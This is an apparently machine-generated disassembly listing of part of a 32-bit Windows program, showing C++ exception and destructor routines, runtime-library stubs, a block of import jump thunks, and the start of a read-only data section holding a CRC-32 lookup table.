		push	offset dword_43F458
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		mov	esp, ebp
		pop	ebp
		retn
sub_43B620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B650	proc near		; DATA XREF: .rdata:off_43F118o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43B600
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43B675
		mov	ecx, [ebp+var_4]
		push	ecx		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		add	esp, 4

loc_43B675:				; CODE XREF: sub_43B650+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43B650	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B680	proc near		; CODE XREF: sub_43B620+10p
					; DATA XREF: .rdata:0043F440o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43B410
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43F118
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43B680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B6B0	proc near		; CODE XREF: sub_40DE9E+17p
					; sub_40E11D+Ep

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43B6B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp+var_38]
		call	sub_40DD4D
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_43B710
		push	offset dword_43F558
		lea	edx, [ebp+var_28]
		push	edx
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_43B6B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B710	proc near		; CODE XREF: sub_43B6B0+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43B590
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43F140
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43B710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B740	proc near		; CODE XREF: sub_43B790+Ap
					; DATA XREF: .rdata:0043F55Co

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_43F140
		mov	ecx, [ebp+var_4]
		call	sub_43B4D0
		mov	esp, ebp
		pop	ebp
		retn
sub_43B740	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B760	proc near		; DATA XREF: .rdata:0043F148o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_43B7C0
		push	offset dword_43F558
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		mov	esp, ebp
		pop	ebp
		retn
sub_43B760	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B790	proc near		; DATA XREF: .rdata:off_43F140o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43B740
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43B7B5
		mov	ecx, [ebp+var_4]
		push	ecx		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		add	esp, 4

loc_43B7B5:				; CODE XREF: sub_43B790+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43B790	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B7C0	proc near		; CODE XREF: sub_43B760+10p
					; DATA XREF: .rdata:0043F540o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43B410
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43F140
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43B7C0	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000019 BYTES: COLLAPSED FUNCTION unknown_libname_31. PRESS	KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B810	proc near		; CODE XREF: unknown_libname_31+8p
		push	ebp
		mov	ebp, esp
		push	offset nullsub_1 ; void	(__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_43B810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B830	proc near		; CODE XREF: unknown_libname_31+Dp
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	al, byte_4F5EBC
		and	eax, 1
		test	eax, eax
		jnz	short loc_43B850
		mov	cl, byte_4F5EBC
		or	cl, 1
		mov	byte_4F5EBC, cl

loc_43B850:				; CODE XREF: sub_43B830+Fj
		pop	ebp
		retn
sub_43B830	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B860	proc near		; CODE XREF: unknown_libname_31+12p
		push	ebp
		mov	ebp, esp
		push	offset __initp_misc_winxfltr_0 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_43B860	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000005 BYTES: COLLAPSED FUNCTION __initp_misc_winxfltr_0. PRESS KEYPAD "+"	TO EXPAND]
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43B886	proc near		; CODE XREF: sub_40E3FF+6Fp
		jmp	ds:dword_4F6518
sub_43B886	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6580

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43B892	proc near		; CODE XREF: sub_40D6D3+5Ep
					; sub_40F43A+14Ap ...
		jmp	ds:dword_4F657C
sub_43B892	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6578
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6574
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6570
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F656C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6568
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6564
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6560
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F655C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6558
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6554
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6584
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F654C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6548
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6544
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6540
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F653C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6538
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6534
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6530
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6550

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43B910	proc near		; CODE XREF: .text:0041BF8Cp
		jmp	ds:dword_4F6520
sub_43B910	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43B916	proc near		; CODE XREF: .text:0041BF5Fp
		jmp	ds:dword_4F6524
sub_43B916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43B91C	proc near		; CODE XREF: .text:0041BF1Ep
		jmp	ds:dword_4F6528
sub_43B91C	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4F636C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6370
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6374
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6378
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F637C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6380
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6384
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6388
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F638C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6390
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6394
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6398
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F639C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63A0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63A4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63A8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63AC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63B0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63B4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63B8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63BC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63C0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63C4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63C8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63CC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63D0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63D4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63D8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63DC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63E0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63E4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63E8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63EC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63F0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63F4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63F8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F63FC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6400
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6404
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6408
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F640C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6410
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6414
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6418
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F641C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6420
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6424
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6428
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F642C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6430
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6434
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6438
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F643C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F62F8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6440
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6444
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6448
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F644C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6450
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6454
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6458
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F645C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6460
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6464
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6468
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F646C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6470
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6474
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6478
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F647C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6480
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6484
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6488
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F648C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6490
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6494
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6498
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F649C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64A0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64A4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43BB08	proc near		; CODE XREF: _UnwindNestedFrames(EHRegistrationNode *,EHExceptionRecord	*)+27p
					; __global_unwind2+13p
		jmp	ds:dword_4F64AC
sub_43BB08	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64B0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64B4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64B8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64BC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64C0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64C4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64C8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64CC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64D0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64D4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64D8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64DC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64E0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64E4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64E8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64EC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64F0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64F4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64F8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F64FC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6500
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6504
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6508
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F650C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6510
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6368
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6364
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6360
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F635C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6358
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6354
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6350
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F634C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6348
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6344
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6340
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F633C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6338
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6334
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6330
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F632C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6328
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6324
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6320
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F631C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6318
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6314
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6310
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F630C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6308
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6304
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F6300
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F62FC
; ---------------------------------------------------------------------------
		align 10h
; [000001A1 BYTES: COLLAPSED FUNCTION __wcsicmp. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000047 BYTES: COLLAPSED FUNCTION __strdup.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	dword ptr [eax], offset	off_43F150
		mov	ecx, [ebp-4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp-4]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [0000002E BYTES: COLLAPSED FUNCTION exception::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000069 BYTES: COLLAPSED FUNCTION exception::exception(char	const *	const &). PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000084 BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000002C BYTES: COLLAPSED FUNCTION exception::operator=(exception const &). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000034 BYTES: COLLAPSED FUNCTION exception::~exception(void). PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000021 BYTES: COLLAPSED FUNCTION exception::what(void). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000040 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD	"+" TO EXPAND]
; [0000002E BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000028 BYTES: COLLAPSED FUNCTION type_info::operator==(type_info const &).	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000029 BYTES: COLLAPSED FUNCTION type_info::operator!=(type_info const &).	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002C BYTES: COLLAPSED FUNCTION type_info::before(type_info const	&). PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000011 BYTES: COLLAPSED FUNCTION type_info::raw_name(void). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000019 BYTES: COLLAPSED FUNCTION type_info::type_info(type_info const &). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000010 BYTES: COLLAPSED FUNCTION std::_Init_locks::operator=(std::_Init_locks const &). PRESS KEYPAD "+" TO EXPAND]
; [00000041 BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000C5 BYTES: COLLAPSED FUNCTION _towlower. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000B4 BYTES: COLLAPSED FUNCTION sub_43C2C0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000002E7 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000056 BYTES: COLLAPSED FUNCTION _wcsncnt.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000077 BYTES: COLLAPSED FUNCTION _iswctype. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000017 BYTES: COLLAPSED FUNCTION _is_wctype. PRESS	KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43C770	proc near		; DATA XREF: .rdata:0043F35Co
		lea	ecx, [ebp-38h]
		jmp	sub_40DD70
sub_43C770	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C778	proc near		; DATA XREF: .rdata:0043F354o
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_43C78E
		mov	ecx, [ebp+8]
		jmp	sub_40DD70
; ---------------------------------------------------------------------------

locret_43C78E:				; CODE XREF: sub_43C778+8j
		retn
sub_43C778	endp

; ---------------------------------------------------------------------------

loc_43C78F:				; DATA XREF: sub_40D90Fo
		mov	eax, offset dword_43F330
		jmp	___CxxFrameHandler3

; =============== S U B	R O U T	I N E =======================================



sub_43C799	proc near		; DATA XREF: .rdata:0043F384o
		lea	ecx, [ebp+14h]
		jmp	sub_40DD70
sub_43C799	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C7A1	proc near		; DATA XREF: .rdata:0043F38Co
		lea	ecx, [ebp-1Ch]
		jmp	sub_40DD70
sub_43C7A1	endp

; ---------------------------------------------------------------------------

loc_43C7A9:				; DATA XREF: sub_40DA86o
		mov	eax, offset dword_43F360
		jmp	___CxxFrameHandler3
; ---------------------------------------------------------------------------
		align 4

loc_43C7B4:				; DATA XREF: sub_40E1ADo
		mov	eax, offset dword_43F390
		jmp	___CxxFrameHandler3
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43C7C0	proc near		; DATA XREF: .rdata:0043F48Co
		lea	ecx, [ebp-38h]
		call	sub_40DD70
		retn
sub_43C7C0	endp


; =============== S U B	R O U T	I N E =======================================



SEH_43B3B0	proc near		; DATA XREF: sub_43B3B0+5o
		mov	eax, offset dword_43F468
		jmp	___CxxFrameHandler3
SEH_43B3B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43C7E0	proc near		; DATA XREF: .rdata:0043F4B4o
		mov	ecx, [ebp-10h]
		call	??1exception@@UAE@XZ ; exception::~exception(void)
		retn
sub_43C7E0	endp


; =============== S U B	R O U T	I N E =======================================



SEH_43B410	proc near		; DATA XREF: sub_43B410+5o
		mov	eax, offset dword_43F490
		jmp	___CxxFrameHandler3
SEH_43B410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43C800	proc near		; DATA XREF: .rdata:0043F4FCo
		mov	ecx, [ebp-10h]
		call	??1exception@@UAE@XZ ; exception::~exception(void)
		retn
sub_43C800	endp


; =============== S U B	R O U T	I N E =======================================



SEH_43B4D0	proc near		; DATA XREF: sub_43B4D0+5o
		mov	eax, offset dword_43F4D8
		jmp	___CxxFrameHandler3
SEH_43B4D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43C820	proc near		; DATA XREF: .rdata:0043F524o
		mov	ecx, [ebp-14h]
		call	??1exception@@UAE@XZ ; exception::~exception(void)
		retn
sub_43C820	endp


; =============== S U B	R O U T	I N E =======================================



SEH_43B590	proc near		; DATA XREF: sub_43B590+5o
		mov	eax, offset dword_43F500
		jmp	___CxxFrameHandler3
SEH_43B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43C840	proc near		; DATA XREF: .rdata:0043F58Co
		lea	ecx, [ebp-38h]
		call	sub_40DD70
		retn
sub_43C840	endp


; =============== S U B	R O U T	I N E =======================================



SEH_43B6B0	proc near		; DATA XREF: sub_43B6B0+5o
		mov	eax, offset dword_43F568
		jmp	___CxxFrameHandler3
SEH_43B6B0	endp

_text		ends

; Section 2. (virtual address 0003D000)
; Virtual size			: 00002590 (   9616.)
; Section size in file		: 00002590 (   9616.)
; Offset to raw	data for section: 0003D000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 43D000h
		dd 0
aSfsf		db 'FSF',0
		align 4
		dd 2, 5Fh, 0
		dd 5AC00h
dword_43D01C	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
